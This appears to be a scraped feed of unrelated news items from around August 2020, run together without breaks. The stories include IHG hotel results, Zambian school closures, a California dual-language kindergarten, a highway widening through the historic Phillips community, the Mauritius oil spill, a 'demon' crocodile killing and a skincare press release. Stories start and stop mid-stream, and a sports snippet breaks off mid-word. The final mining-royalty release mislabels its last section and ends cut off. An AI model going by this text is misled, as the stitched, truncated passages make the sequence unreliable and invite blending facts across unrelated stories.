signs of improvement as restrictions ease and traveller confidence returns. Shares in IHG increased 156p, or 3.9%, to 4157p. Read more Business focus: FTSE 100 companies outline back to the office plans In the six months to June 30 the firm saw revenue per room tumble 52%, and it was 75% lower in the second quarter. In the UK there was a second quarter decline of 90%. However, Barr pointed to small but steady improvements in occupancy and revenue per room through the three months to June, which continued into July. Finance chief Paul Edgecliffe-Johnson added: We are seeing a significant improvement from a low base. There was encouraging signs of improvements from places that eased out of lockdown sooner, such as China and the US. London occupancy levels stood at around 20% in July. Source: Xinhua| 2020-08-11 22:15:10|Editor: huaxia Video Player Close LUSAKA, Aug. 11 (Xinhua) -- Schools in Zambia which were closed following the outbreak of the COVID-19 pandemic in March will remain closed following an escalation of cases, its health ministry said on Tuesday. The government reopened examination classes in June in order to allow them to start preparing for their examinations while the other classes remained closed. But some private schools have started conducting class to non-examination classes despite the ban still in effect. Minister of Health Chitalu Chilufya said restrictions on schools still remain in effect and that only pupils in examination classes are expected to attend lessons. He said during a COVID-19 briefing that the decision not to reopen schools was to reduce congestions and reduce the spread of the pandemic. According to him, the lifting of restrictions imposed to contain the pandemic will be based on the extent of the pandemic in the country. Meanwhile, the country recorded 65 new cases in the last 24 hours out of 362 tests conducted, bringing the cumulative cases to 8,275. The country also discharged 202 patients in the last 24 hours, bringing the total recoveries to 7,004. The death toll stood at 241. Enditem At Grapevine Elementary in Vista last week, kindergartener Jeremiah Cook sat at a table coloring in a workbook. Im writing a number, he said. Uno, dos, tres. Cook is one of about 50 students at the school to participate in a dual language immersion program offered for the first time this year. Two classes of kindergarten students, including native Spanish and English speakers, are learning their numbers, letters and other basic academic lessons in both languages. Half the day, they study in a classroom with instruction, curriculum, books, songs, and other class materials entirely in English. The other half of the day, they switch to the classroom nextdoor, where they learn solely in Spanish. Advertisement So its real immersion, said Principal Rafael Olavide Theres no translation whatsoever. They have found out that the students help each other. They find ways to scaffold and support their peers. In the Spanish language classroom where Cook is coloring, the teacher called students to the front of the room to work on small group activities. Delfines, vengan, the teacher called, summoning the dolphins group to come to the front of the rug. Cooks classmate, Daniel Manuel Gaspar, prompted him to respond: You, delfin, go, he said. The school spent several years preparing the program, and then settled on the 50/50 model of dual language immersion in which students split their time equally between the languages, with the goal of becoming proficient in both. The program will continue up to fifth grade as students progress in elementary school, with additional classes following them. Ultimately, the district aims to add bilingual programs in middle and high school, Olavide said. It was a series of conversations with the community and district about how we could offer a different model of instruction to our students, he said. At the end of the process, they would become bilingual, biliterate and bicultural, something that our community appreciates and values. That was a big draw for Amanda Lewis, whose son Ashton is in kindergarten in the program. When I heard it was being offered here, I jumped at the opportunity, because I feel like its so important where we live, she said. None of us speak Spanish and thats one of my biggest regrets growing up. Lewis took elective classes in Spanish, but feels she missed the opportunity to learn it when she would have been best able to absorb a new language. I took two years in high school and I didnt pick any up, she said. I feel like them, being younger, theyre sponges. They can learn it easier. Her older son, a second-grader at the school, didnt have the chance to study in the bilingual program, but she said hes still benefiting from his little brothers participation. Ashton is counting in Spanish and singing songs, she said. Hes so excited to come to school. My other son is picking up bits and pieces. For Araceli Garcia, who also has boys in kindergarten and second grade, the program allows her youngest to continue to build his Spanish, while developing English fluency. In the future, hell have more opportunities for employment, and in school, she said of her kindergartener, Jake. She thinks it also allows him to thrive socially in the ethnically mixed campus. If children are bilingual, they can have more secure relationships with more people and more children, she said. Although the family speaks Spanish at home, their older son has dealt with speech issues, and now communicates mostly in English. Curiously, she said, hes picking up more Spanish from his younger brother than from his parents. Although we speak exclusively in Spanish, hes learning more Spanish from his brother, she said. Its strange, no? Other districts also offer dual immersion language programs, using models tailored to their student populations. Escondido Union School District offers the programs to 750 students at four schools: Glen View, Farr, Pioneer and Lincoln Elementary, said Laura Philyaw, director of intervention and enrichment for the district. About 99 percent of those students are native Spanish speakers. So the Escondido programs offer 90 percent of lessons in Spanish and 10 percent in English in kindergarten, increasing the amount of English language instruction by 10 percent per year until fourth and fifth grade, when students study for half their time in each language. Theres a lot of research that shows the benefits of the 90/10 model, Philyaw said Students are learning their literacy first in their primary language. Theres a lot of benefits to a program like this for students learning English. She said that native English speakers can also thrive in the program. In our district, the majority of our students are native Spanish speakers, but we are starting to see more interest of native English speakers coming into the program, she said. In an increasingly global economy, both Spanish- and English-speaking families see the advantages of language fluency. Lewis, a real estate agent, said she would love to be able to speak with clients in Spanish, and expressed interest when Olavide said the school may offer after-school language classes for parents. Students, too, know the benefits of facility in multiple languages. For example, if I travel to a country and then I know that language, it can be easier to communicate, said Aaron Aguas De Jesus, a fourth-grader in the dual language immersion program at Pioneer Elementary in Escondido. His teacher, Rachael Bouworth, learned Spanish in high school and during a study abroad program in Spain, while she was enrolled at UC Berkeley. She describes herself as passionate about languages, and also speaks Turkish and Portuguese, along with a smattering of Arabic, Hebrew and German. She learned firsthand the value of Spanish fluency. How can it not benefit them? she asked. When I started being a teacher it was during budget cuts. I got my job because of Spanish. Anything people can do to make themselves more marketable in the workplace is valuable, and knowing another language makes you more marketable. It also opens you up to new experiences. deborah.brennan@sduniontribune.com Twitter@deborahsbrennan MOUNT PLEASANT The question was where to widen a highway, and the answer would disrupt one community: the majority White residents in several modern subdivisions or the Black residents of a historic community created after the Civil War. When Charleston County officials revealed Monday that the African American Phillips Community will bear the impacts of widening S.C. Highway 41, residents were upset, but not surprised. "We always have to take the raw end of the deal and sacrifice for people who are not from the area," said community resident Patricia Graham, who expects the road's widening to chew into her front yard. County officials wanted to break the news to Phillips residents ahead of a planned public announcement on Thursday. The plan was announced under a tent in a clearing amid pine trees and live oaks near Horlbeck Creek, where residents wore face masks and sat on spaced-apart folding chairs. The county brought mosquito repellent, bottles of water and maps showing where community residents would lose property to make way for the widened road. Before the reveal, Phillips residents knew that after years of study and debate the county's plan to address traffic on the two-lane highway in the northern part of Mount Pleasant had come down to two choices. And they knew the choice they favored was opposed by larger, wealthier communities and by the town of Mount Pleasant. Phillips sits on both sides of the once-quiet road, so there was much at stake. "We pay taxes like everyone else and we want to live where we live," said resident Jonathan Ford. "The traffic is coming from all around us take their property." Project manager Shannon Meder with HDR Consulting said the county plans to do more than simply offer money for land that would be taken for the road plan. "We want to identify and fund projects that will benefit Phillips for the long term," she said. A dozen or more options had been studied, but the two that remained were to either make the highway a five-lane road through Phillips or route the wider highway around the community through parts of the Park West and Dunes West subdivisions, where much of the traffic originates. "The message I am getting is: 'You are the ones who will be displaced'," said Phillips resident Elijah Smalls. County officials said no one will be displaced, but residents are skeptical. Two years ago, the county determined that looping the widened highway through Park West and Dunes West would improve traffic more than widening it through Phillips. A flood of opposition from subdivision residents and Mount Pleasant officials followed and the county later said that additional studies showed widening the road through Phillips would work better. "We're fighting a fight with people who have a lot more clout than we do," Smalls said. County officials said that no resident of Phillips will be displaced, though many who live along both sides of the highway will lose property. In many cases there, properties are owned by extended families often descendants of the formerly enslaved ancestors who bought the land in the 1870s and some properties have multiple homes. "We're not going to take anybody's home," County Councilman Herb Sass told community residents at the tent meeting. "We might have to move somebody's house back from the road." The alternative Charleston County rejected would have diverted a large amount of Highway 41 traffic around Phillips, on Dunes West Boulevard and Bessemer Road. Meder said the decision between the two road plans "came down to the wire," but routing traffic through the subdivisions would impact more wetlands. Jason Crowley, communities and transportation director at the Coastal Conservation League, was at the tent meeting and said the wetlands impact would be preferable to the impact on Phillips. "For decades this community has been asking for anything but what you are proposing," Crowley told county officials. He noted that Mount Pleasant annexed land all around Phillips and permitted thousands of homes to be built in the Park West, Dunes West and Rivertowne subdivisions. "The place all the traffic is coming from is all the people invading our area," said Graham. County project manager Cal Oyer said that when all the factors were considered, including travel time and wetlands impacts, the option for widening the road through Phillips proved to be the better of the two options. There are a number of historic African American settlement communities in the East Cooper area, and several have seen large impacts from road-widening and road-building projects. Highway projects, including interstates 26 and 526, also disrupted Black communities in Charleston, North Charleston and Daniel Island. "This is happening in all of the African American communities," said Phillips resident Fred Smalls. Population growth and the traffic that comes with it is the driving force behind the Highway 41 plan, which will cost nearly $140 million. The plan would widen the highway from the Wando River to S.C. Highway 17, and rebuild the intersection of highways 17 and 41. The bridge over the Wando River has already been widened, and across the river more than 9,000 homes are planned at another large subdivision, Cainhoy Plantation. While Charleston County has made its choice, the plan for Highway 41 still needs federal approval. A public comment period will run for 30 days, and then the plans will go to the Army Corps of Engineers for federal review. During his Monday evening press conference, President Trump was rushed out of the room by Secret Service agents, following an "officer involved shooting" outside of the White House. Trump was moved to the Oval Office and reporters were put on lockdown. He returned to the briefing room about 10 minutes later, saying the situation "seems to be very well under control. It's unfortunate that this is the world but the world has always been a dangerous place. It's not something that's unique." The Secret Service confirmed that a shooting occurred at 17th Street and Pennsylvania Avenue, and involved an officer. A spokesperson for the D.C. fire department told The Washington Post they received a call from the Secret Service reporting a person had been shot in the upper body. More stories from theweek.com Donald Trump's impotent tyranny Protesters, police clash during 2nd night of protests over disputed Belarus election Trump says the 1918 flu pandemic began in 1917, 'probably ended the Second World War' Sorry! This content is not available in your region His Highness Sheikh Mohammed bin Rashid Al Maktoum, Vice President, Prime Minister and Ruler of Dubai, today inaugurated the Mohammed bin Rashid Medical Research Institute, the UAEs first independent biomedical research centre, a Wam news agency report said. Deputy Ruler of Dubai HH Sheikh Maktoum bin Mohammed bin Rashid Al Maktoum; Chairperson of the Board of Trustees of Al Jalila Foundation Sheikh Ahmed bin Saeed Al Maktoum; Chairman of Dubai's Supreme Committee of Crisis and Disaster Management Sheikh Mansoor bin Mohammed bin Rashid Al Maktoum; and Minister of Cabinet Affairs and Secretary-General of the Mohammed bin Rashid Al Maktoum Global Initiatives Mohammed Al Gergawi attended the inauguration. Sheikh Mohammed toured the facility that seeks to conduct research to address the Covid-19 pandemic and other viral diseases. Established with an initial investment of AED300 million ($81.67 million), the institute is part of the Al Jalila Foundation, an entity under the umbrella of Mohammed bin Rashid Al Maktoum Global Initiatives. During his visit, Sheikh Mohammed met a group of scientists who presented their research projects. He was briefed on Al Jalila Foundations accomplishments and extensive research portfolio. Sheikh Mohammed said: "Medical research is an integral part of prevention and medical security in the UAE. Supporting research helps ensure sustainable economic, social and human development. Scientific research has been the main approach of scientists and researchers for many centuries in our region and is key to building a stable and prosperous future. "Everyone can access the institutes research. The new centre is an important addition to the global network of research institutions. It is part of the UAEs contribution to biomedical research in the world and its research findings will be shared with other centres," He said. On the new facilitys contribution to the global scientific research community, he said: "We need specialised centres to conduct research that caters to our environment and responds to the health challenges facing our region." The institute aims to prepare the next generation of researchers across various specialisations as part of the overarching vision to create an integrated health map and provide the local, regional and global research community with sound, specialised medical research. The state-of-the-art facility seeks to boost medical innovation, accelerate the use of artificial intelligence to monitor new diseases and develop proactive plans to contain outbreaks. By establishing an integrated medical database using big data analysis techniques, the centre strives to support global efforts to find effective treatments and vaccines, the report said. The Mohammed bin Rashid Medical Research Institute seeks to position the UAE at the forefront of medical innovation regionally. It also provides a platform for researchers and specialists to exchange knowledge and expertise related to global medical developments. With the Covid-19 pandemic resulting in over 20 million cases and claiming 728,000 lives across the world, there is an urgent need for extensive medical and prevention research. Researchers across the world are working around the clock to find effective ways to contain the virus and decrease its impact on people. The institute aims to contribute to global efforts against the pandemic by providing advanced equipment and funding to support pioneering research led by scientists, specialists and experts. By supporting talented scientists and investing in ground-breaking research, the institute will contribute to developing the next generation of innovators in health sciences as well as advancing medical research and innovation for the benefit of the world. Sheikh Ahmed said: "The Mohammed bin Rashid Medical Research Institute will help boost medical innovation and empower the next generation of professional researchers in different biomedical fields. It will support new pharmaceutical and therapeutic innovations that can help advance the countrys healthcare sector. Driven by an unwavering commitment to boost medical research capacities, the new facility, located at the Al Jalila Foundation, embodies Sheikh Mohammed bin Rashids vision to build a positive future for the region and create a knowledge-based society." The institute seeks to forge local and global partnerships with research institutions specialised in biomedicine and medical innovation as part of its aim to utilise all possible resources and share pioneering research projects with specialists across the world. The centre supports intellectual property rights for medical research and adheres to the frameworks governing the procedures for registration of internationally-approved patents. It also seeks to promote partnerships to find treatments and vaccines for viral diseases and pandemics and make them available to people across the world. The institute will use the latest technologies to help develop medical research tools. It will also use immersive and augmented reality technologies for genetic mapping, proactively monitor potential outbreaks using biomarker analysis techniques for individuals and deploy artificial intelligence, algorithms and machine learning to predict disease patterns. The specialised facility will work to improve communication among research sectors and invest in developing research and development talent. The Institute aims to equip researchers to bridge the medical research gap that currently exists in the region. It also seeks to encourage young researchers to pursue medical and scientific research and motivate institutions and individuals to support research as part of efforts to advance healthcare systems and improve wellbeing in the Arab world. The institute is the first independent multi-disciplinary biomedical research centre in the UAE with its own board of trustees. It was established with a initial investment of AED300 million focused on equipping specialised researchers and funding scientific projects. The UAEs first medical research endowment is expected to bring a 4% return on investment amounting to AED10.5 million annually, which will be reinvested in healthcare and research programmes. Sheikh Mohammed's tour also saw the unveiling of Crystals of Hope, a crystal installation featuring his profile, which pays tribute to his role in supporting innovation and research and advancing the countrys healthcare sector. The installation features the names of 25 donors who have invested in medical research, the report said. India insisted on 'complete disengagement' in all its talks with China on eastern Ladakh row: Govt We will continue to deal with Chinese PLA in firm, resolute manner: Army chief Chinas diplomatic priority is to maintain peace with India India oi-Vicky Nanjappa New Delhi, Aug 11: China has said that maintaining peace along the disputed boundary with India is one of China's diplomatic priorities. Responding to a question about China's diplomatic priorities, Chinese foreign ministry spokesperson Zhao Lijian said said, for the China India relationship, the two sides should jointly safeguard peace and security in the border areas and maintain a steady and sound development of bilateral ties, he said. "We will continue to deepen strategic mutual trust and expand shared interests with our neighbours and other developing countries" a statement posted on the Chinese foreign ministry's website said. India-China stand off unlikely to overshadow BRICS, SCO summits It may be recalled that last month, India had rejected China's contention that disengagement had been completed at most locations along their disputed border. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News External Affairs Ministry spokesperson, Anurag Srivastava during the weekly briefing said that there has been some progress towards disengagement and de-escalation along the LAC. However the process is far from complete, he also said. There has been some progress made towards this objective, but the disengagement process has not yet been completed, he also said. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 11:38 [IST] Police on Monday arrested a man for allegedly raping a nine-year-old girl in her house in Chhattisgarhs Raipur, where he taught her younger sister. The girl told her parents about the sexual assault, which took place on Sunday, after which they lodged a complaint at the Khamardih police station of the state capital. Ajay Yadav, Raipurs superintendent of police, said the accused was arrested after a case was lodged by her parents. The accused, Arshad Rahmani (27), who was a teacher at a madarsa (an educational institution), used to visit the victims house to teach Arabic to her younger sister. On Sunday, the accused allegedly sexually assaulted her and fled away, Mamta Sharma Ali, Khamardih police station house officer, told reporters. We have registered a case under Indian Penal Code Sections 376 (rape) and 506 (criminal intimidation) and relevant provisions of the Protection of Children from Sexual Offences (POCSO) Act and arrested the accused on Monday, Ali said. They are investigating the case, she said. SHARE THIS ARTICLE ON A 14-foot long 'demon' crocodile was hunted and beheaded by superstitions villagers in Indonesia last week, after terrorising locals. The 50-year-old reptile was hunted down by villagers after it reportedly attacked several people. It was trapped in nets laced with razor-sharp blades in the Kayubesi River on Monday evening by villagers in Bangka Belitung Islands, Indonesia. Locals insisted on burying the body and the head separately so it would not come back to haunt them as they believed it was an evil spirit. After two days in captivity, the crocodile died from exhaustion. The half-tonne beast was so large, it had to be carried to a burial site on a bulldozer. Locals refused to hand the 500kg body over to conservationists as they believed the neighbourhood would be doomed if the crocodile was transferred elsewhere. Septian Garo, head of the local conservation agency, Bangka Belitung Natural The crocodile hunters struggled to lift the giant beast so they used a bulldozer to carry it from the river to a field where it was buried Locals insisted on burying the body and the head separately so it would not come back to haunt them as they believed it was an evil spirit Resources Conservation Agency said that officials tried to negotiate with the local leaders over the wild animal's relocation to a safer place. However, superstitious locals insisted they keep the animal for religious reasons. 'There was a belief that the crocodile should not be removed from the village because it is a demon,' he said. 'They [referred to] local beliefs that hampered the [animal's] relocation. Septian explained that, by local tradition, the entire neighbourhood would be doomed if the crocodile was transferred elsewhere. He added that similar incident had occurred in 2016, when residents refused to allow the agency to rescue a crocodile from their village. Before the burial, authorities inspected the body and found that the crocodile, which they estimated to be 50 years old, had no teeth. It was trapped in nets laced with razor-sharp blades in the Kayubesi River on Monday evening by villagers in Bangka Belitung Islands, Indonesia The crocodile hunters struggled to lift the giant beast so they used a bulldozer to carry it from the river to a field where it was buried. Locals then sawed off the dead crocodile's head 'so the demon will not come back to life and haunt them.' Village official Junaidi said: 'The body and head must be buried separately because this is a demon crocodile. Before cutting it off, there is also a special ritual.' The giant crocodile was buried after the villagers participated in the ritual. The reptile was over 14 feet long and weighed half a tonne. BeachLife Festival returns to Redondo Beach in May with Sheryl Crow, 311, Black Pumas, Vance Joy, Cold War Kids, Lord Huron and more. The Ministry of Gender, Children and Social Protection is working tirelessly to control outmoded and harmful traditional and cultural practices inimical to the wellbeing of women and girls in the country, Mrs Freda Prempeh, the Deputy Minister has said. She said the Ministry required active support from the countrys development partners, traditional and religious institutions to close down all identifiable witches camps, and successfully reintegrate inmates into the society. Mrs Prempeh however, lauded the police administration for the swift investigations and the arrest it had made so far in connection with the murdered of the 90-year-old woman at Kafaba in the East Gonja District of the Savanah Region. The deceased, Madam Akua Denteh was accused of witchcraft and lynched by some unidentified people in the town. In an interview with the Ghana News Agency (GNA) at Duayaw-Nkwanta in the Ahafo Region, Mrs Prempeh, who is the Member of Parliament for Tano North Constituency, expressed the hope that the police would speed up prosecution of the suspects involved in the incident. It is very unfortunate that the aged are always wrongly accused as witches when they demonstrated menopausal symptoms and health issues such as dementia, schizophrenia, and accidents. This is extremely unacceptable and we must nail it down, she said. Even kids who seem to be geniuses and assertive in this contemporary society of ours are branded as witches. This affects their proper upbringing and development and we will not sit unconcern for this to continue. As the embodiment of the people, Mrs Prempeh indicated that traditional authorities, religious and opinion leaders had enormous responsibilities in helping to control the surging human rights abuses and violations among women and girls in society. It is extremely sad that activities of some self-styled prophets, prophetess and soothsayers are seriously disintegrating families, and the government needs the support from chiefs, queens and religious leaders to nip in the mud all these unscrupulous activities, and dishonest prophesies. Mrs. Prempeh called on the media and all stakeholders to be on the watch, and report all forms of domestic violence against women and girls to relevant institutions for the necessary action to be taken. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Salvage crews raced against time Monday to prevent a second disastrous oil spill off the picture-perfect coastline of Mauritius, with a damaged tanker carrying nearly 2,000 tonnes of fuel at risk of splitting apart. The bulk carrier MV Wakashio ran aground on July 25 with 4,000 tonnes of fuel and began seeping oil last week, staining coral reefs, mangrove forests and tranquil lagoons in an unprecedented environmental catastrophe for the Indian Ocean archipelago nation. More than 1,000 tonnes has already oozed from the ship, its Japanese operator says, causing untold ecological damage to protected marine parks and fishing grounds that form the backbone of Mauritius' economy. Volunteers carry a handmade oil barrier to block the leaked fuel from the MV Wakashio. By - (L'Express Maurice/AFP) Fuel was slowly airlifted from the ship Monday by helicopter to the shore, but efforts to pump more from the hold had been thwarted by rough seas and strong winds. The weather, which had fanned the oil slick further up the coast, had improved enough for a barge to approach the ship and safely pump out 500 tonnes on Monday, Prime Minister Pravind Jugnauth said. That left nearly 2,000 tonnes of oil on the ship, he said at a press conference late Monday. Jugnauth had earlier warned that cracks in the hull were worsening, and there was a very real chance the boat could split. Creaking sounds "We are in an advanced fracturing process. The bulk carrier does not have much time ahead of it," said one scientist working on the emergency effort, speaking on condition of anonymity. Fuel was being airlifted by helicopter to the shore before a barge was able to approach the ship and safely pump out 500 tonnes. By Daren Mauree (L'Express Maurice/AFP) Divers have reported fresh cracks in the hull, while creaking sounds from the vessel could be heard from the southeast shore, where a major clean-up operation is underway to remove treacly sludge coating miles of Mauritius' previously unspoiled coastline. Japan on Monday dispatched a six-member team, including members of its coastguard, to assist. France has sent more than 20 tonnes of technical equipment -- including 1.3 kilometres (0.8 miles) of oil containment booms, pumping equipment and protective gear -- along with technical advisers from nearby Reunion, a French Indian Ocean island. A spokesman at Mitsui OSK Lines, which operates the Wakashio, owned by another Japanese company, Nagashiki Shipping, told AFP it would send a team of experts as soon as Tuesday if they tested negative for coronavirus. "Nagashiki Shipping deeply apologise to the people of Mauritius and will do their utmost to protect the environment and mitigate the effects of the pollution," the Wakashio's owner said in a statement Monday. Volunteers fight oily tide Thousands of volunteers, many smeared head-to-toe in black sludge, have marshalled along the coastline in a desperate attempt to hold back the oily tide. By Daren Mauree (L'Express Maurice/AFP) The bulker struck a reef at Pointe d'Esny, an ecological jewel fringed by idyllic beaches, colourful reefs, sanctuaries for rare and endemic wildlife, and protected wetlands. Aerial images show the enormity of the disaster, with huge stretches of crystal-clear seas around the marooned cargo ship stained a deep inky black. Thousands of volunteers, many smeared head-to-toe in black sludge, have turned out along the coast since Friday, stringing together miles of improvised floating barriers made of straw in a desperate attempt to hold back the oily tide. A map of Mauritius. By Anne-Sophie THILL (AFP) "My friends and I came here today to lend a hand because of the degradation of our environment. The entire marine ecology has been affected by the heavy oil spilled from the ship. We are very affected by this problem," said Eldridge Larhubarbe, a student. Police are expected to take statements from the captain and crew of the Wakashio after launching an investigation. Detectives boarded the ship on Sunday and seized the log book and black box. Pressure is mounting on the government to explain why more was not done in the two weeks since the vessel ran aground. Mauritius and its 1.3 million inhabitants depend crucially on the sea for food and ecotourism, having fostered a reputation as a conservation success story and a world-class destination for nature lovers. The spill is a double blow for tourist operators who had hoped foreign tourists could soon return. The country has no active cases of coronavirus and had declared a wary victory after a long stretch without any new infections, but its borders remain closed. burs-str-np/fb/erc/dl Sports The Guardian The Steelers quarterback is headed to the Hall of Fame. But he was unloved outside Pittsburgh for understandable reasons Ben Roethlisberger almost certainly played his final game in the NFL on Sunday. Photograph: Ed Zurga/AP Ben Roethlisberger is lucky that football legacies are not decided by finales. If Sunday night was indeed Big Bens last ever NFL game, as he has strongly hinted, it wasnt exactly a mic drop. In the 42-21 beatdown by the Chiefs, Roethlisberger struggled with rollouts, and l Made in Australia the birthplace of natural skin care from powerful indigenous ingredients, Sukins 100% vegan, cruelty-free, biodegradable and carbon neutral products are good for you, your wallet, and the environment. Sukin Sukin, Australias #1 natural skin care brand, is making it easier and more affordable than ever to achieve the care-free glow that defines Australian beauty (A-Beauty) Sukin, Australias #1 natural skin care brand, is making it easier and more affordable than ever to achieve the care-free glow that defines Australian beauty (A-Beauty) SAN FRANCISCO, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Sukin , Australias #1 brand of vegan, cruelty-free and natural skin, hair and body care products, is expanding throughout the U.S., making it easier and more affordable than ever for Americans to achieve the care-free glow that defines Australian beauty (A-Beauty). Travel virtually to Australia on SukinNaturals.com, or visit your local retailers as Sukin is now available nationwide at Sprouts, Target, Amazon, iHerb, and Thrive Market. To celebrate its US expansion, Sukin is offering 20% off its Signature Range through August 15th at Sukinnaturals.com . Additionally, Sprouts shoppers receive $3 off any Sukin product when using Sprouts Digital Coupons available until August 15th. Vegan, carbon neutral and grey water safe, Australians have long relied on Sukins unique combination of high-quality natural and indigenous ingredients such as Kakadu Plum, Quandong, and Lime Pearl Extract and eco-values as part of a simple skin, hair and body care routine that is redefining the green and blue beauty trends. Free from phthalates, mineral oils, and synthetic fragrances, Sukins powerful yet gentle products nourish all skin types from the inside out while caring for the Earth and the oceans. Australians are known as much for their laid-back, nature-loving lifestyle as for their glowing skin, said My-Kaela Najm, Sukin Brand Educator. A-Beauty is all about keeping it simple yet effective, and Sukin makes it as easy as 1-2-3 to de-stress your skin care routine while achieving noticeable results, all at an affordable price. Story continues To get the A-Beauty glow at home for less than $30 for the entire daily regimen, My-Kaela Najm recommends starting with the top three products in Sukins Signature Range, all of which are suitable for all skin types: Foaming Facial Cleanser: A non-drying, gentle gel cleanser soothes and purifies the skin with a natural blend of Chamomile, Aloe Vera, Green Tea and Witch Hazel. Hydrating Mist Toner: This cult toner (one bottle is sold every 40 seconds!) combines Chamomile and Rosewater to help soothe, purify and cool tired skin. Sukin Facial Moisturizer: This hydrating cream nourishes and softens skin through a blend of Rosehip, Avocado, Sesame Seed and Jojoba Oils. This simple skin care routine provides lightweight hydration for all skin types, leaving your skin dewy, soft and touchable year round. Sukin makes it easy to choose personal care products that are as good for you and your family as they are for the Earth, said Nigar Zeynalova, Brand Manager of Sukin in North America. It is truly exciting to bring one of Australias best kept secrets to the US and make harmless beauty accessible to millions thanks to our growing network of retail partners. Sukin was the recent recipient of the Canstar Blue Award in Australia, topping the ratings for the best hand sanitizer after receiving five-star reviews for packaging and overall satisfaction. When Sukin first launched in 2007 in Australia, it was one of the first brands to say No to ingredients and processes that can cause harm to you, animals and the environment. In 2008, Sukin expanded its commitment to its eco-values by becoming carbon neutral . Sukin invests in certified projects that offset the companys carbon emissions and ensures that Sukins total carbon output is 100% counteracted, guaranteeing that Sukin does not leave a carbon footprint on this earth. Over the last 10 years, Sukin has offset over 45,000 tons of carbon. Sukin also partners with Greening Australia , a non-profit tackling Australias biggest environmental challenges, to support its Reef Aid program , which helps to improve water quality on the Great Barrier Reef and stop sediment at its source by rebuilding eroding land and restoring vital coastal wetlands. To learn more about A-Beauty and top tips from Sukin Brand Experts, join the Instagram live session at @sukinskincare_usa on August 28th at 6 pm PST. ABOUT SUKIN Since its inception in 2007, Sukin has provided natural and effective products that are good for you, your wallet, and the environment. Vegan, cruelty-free, carbon-neutral, grey water safe, and made with recyclable packaging, Sukin was one of the first to say No to artificial additives and harsh ingredients that can cause harm to people and the environment. Sukin is available nationwide in the US at select retail stores including Target, Amazon, iHerb, Thrive Market, and SukinNaturals.com. For more information about Sukin, visit https://sukinnaturals.com/ , Instagram at https://www.instagram.com/sukinskincare_usa/ and Facebook at https://www.facebook.com/Sukin-Natural-Skincare-USA-101996211294670 ABOUT BWX BWX is a global, natural beauty company with a portfolio of leading natural brands in Australia, USA, Canada, UK, China, and select other international markets. Founded and headquartered in Victoria, Australia, our expertise in innovation, product development, manufacturing and marketing natural products makes us unique in the beauty industry. Our goal at BWX is to make natural beauty the only choice for people wanting to live a healthy, balanced life, free from unnecessary toxins. We believe everything we need to nourish, rejuvenate and enhance our bodies can be found in nature and our goal is to give people all over the planet a choice for natural personal care without compromising on performance. We want to use our business to inspire the advancement of plant and mineral based science without causing unnecessary harm to the planet. We say NO to testing our products on animals, not because it suits our brands commercial goals, but because it is core to our belief system. BWX is a business with purpose and believes in giving. We are actively involved in giving back to causes relating to the environment, social responsibility and projects that empower women. Contact: Sukin PR Molly Antos T: (847) 848-2090 sukin-pr@dadascope.com A photo accompanying this announcement is available at: https://www.globenewswire.com/NewsRoom/AttachmentNg/81f26f74-9145-4414-8e17-da7e02ba8e5d Royalties include .33% NSR on the Sleeper Mine, 1% NSR on the Lincoln Hill Property and 1% NSR on Mt. Hamilton Project Vancouver, British Columbia--(Newsfile Corp. - August 11, 2020) - Ely Gold Royalties Inc. (TSXV: ELY) (OTCQX: ELYGF) ("Ely Gold" or the "Company") is pleased to announce that the Company, through its wholly owned subsidiary Nevada Select Royalty Inc ("Nevada Select") has signed a binding term sheet purchase for a package of three net smelter returns ("NSR") royalties from prospector Ken Snyder ("Snyder") for US$350,000 cash (the "Transaction"). The royalty package includes a 0.33% NSR on the Sleeper Mine (the "Sleeper Royalty"), a 1.0% NSR on 38 unpatented mining claims in Pershing county Nevada (the "WR Royalty") and a 1% NSR on 40 acres of fee ground in White Pine County, Nevada (the "Monte Cristo Royalty"). The Transaction is subject to final documentation and closing is expected to be September 15, 2020. The Sleeper Royalty The Sleeper Gold Project ("Sleeper") is 100% owned by Paramount Gold Nevada ("Paramount"). It is a former high-grade open pit gold producer located approximately 25 miles northwest of the town of Winnemucca, Nevada. The Sleeper Mine was operated by AMAX Gold Inc. ("Amax") from 1986 until 1996, producing 1.66 million ounces of gold and 2.3 million ounces of silver. Paramount acquired the Sleeper Mine in a merger with X-Cal Resources ("X-Cal") in August 2010. On September 28, 2017, Paramount filed a 43-101 technical report titled Amended Preliminary Economic Assessment, Metal Mining Consultants, September 2017 (the "Sleeper Report"). The Sleeper Report outlined a Pit constrained mineral resource using a mining and processing cost of $550 and precious metal prices of $1,300 gold and $16.00 silver as follows: To view an enhanced version of Table 1, please visit: https://orders.newsfilecorp.com/files/4181/61444_89b2c9d3142d990f_001full.jpg Highlights of the Sleeper Report include: Low Initial Capital of $175 Million for a 30,000 tonnes per day operation Estimated annual production of 102,000 ounces of Gold and 105,000 ounces of Silver Low cash operating cost of $529 per ounce of Gold Equivalent produced Base Case has a $244 million pre-tax net cash flow, a $167 million net present value at a 5% discount rate and an internal rate of return of 25% at US$1300 gold Confirmed the potential to add mineralized material The Sleeper Royalty was granted to Snyder by X-Cal in June 2007. In April 2017, Paramount announced that it had closed a previously announced sale of a 2% NSR on the Sleeper Gold property to Franco-Nevada Corporation (NYSE: FNV) (TSX: FNV) for US$2 million Trey Wasser, President & CEO of Ely Gold stated, "This transaction is a testament to our ability to make third-party royalty purchases due primarily to Jerry's long-standing relationships throughout Nevada". The WR Royalty The WR Royalty covers 38 unpatented mining claims (the "WR Claims") on the Lincoln Hill & Gold Ridge properties currently owned by Coeur Mining Inc. (NYSE: CDE) ("Coeur") (see Figure 1) Snyder sold the WR Claims to X-Cal in 2008 and retained the WR Royalty. The Lincoln Hill property is adjacent to Coeur's Rochester Mine. Ely Gold currently holds a 2% NSR on separate claims at Lincoln Hill where Coeur is currently undertaking development drilling. The WR Claims are adjacent to Ely Gold's 2% Lincoln Hill Royalty property. Figure 1 To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/4181/61444_89b2c9d3142d990f_002full.jpg Jerry Baughman, President & CEO of Ely Gold stated, "This royalty package adds three excellent Nevada royalties to our portfolio. The price for the Sleeper Royalty compares very favorably to the Franco Nevada transaction which was completed in 2017 at $1,300 gold." The Monte Cristo Royalty The WR Royalty covers 40 